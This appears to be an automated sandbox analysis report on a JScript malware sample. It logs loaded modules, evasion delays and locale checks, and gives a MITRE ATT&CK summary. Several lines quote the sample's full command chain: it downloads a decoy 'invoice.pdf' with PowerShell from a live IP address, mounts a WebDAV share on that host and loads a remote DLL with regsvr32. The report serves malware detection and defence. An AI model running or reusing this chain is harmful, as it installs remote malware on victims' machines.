Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1088.js.csv");ITextStream.WriteLine(" entry:7374 f:uvbptzvy");ITextStream.WriteLine(" exec:2 f:uvbptzvy");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3850			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6026			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 768	Thread sleep count: 3850 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 768	Thread sleep count: 6026 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3340	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1984	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4052	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1368	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1531835624.0000018CEA0D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1531835624.0000018CEA13B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2755828557.000001991442B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.1531835624.0000018CEA13B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2757559450.0000019919A58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
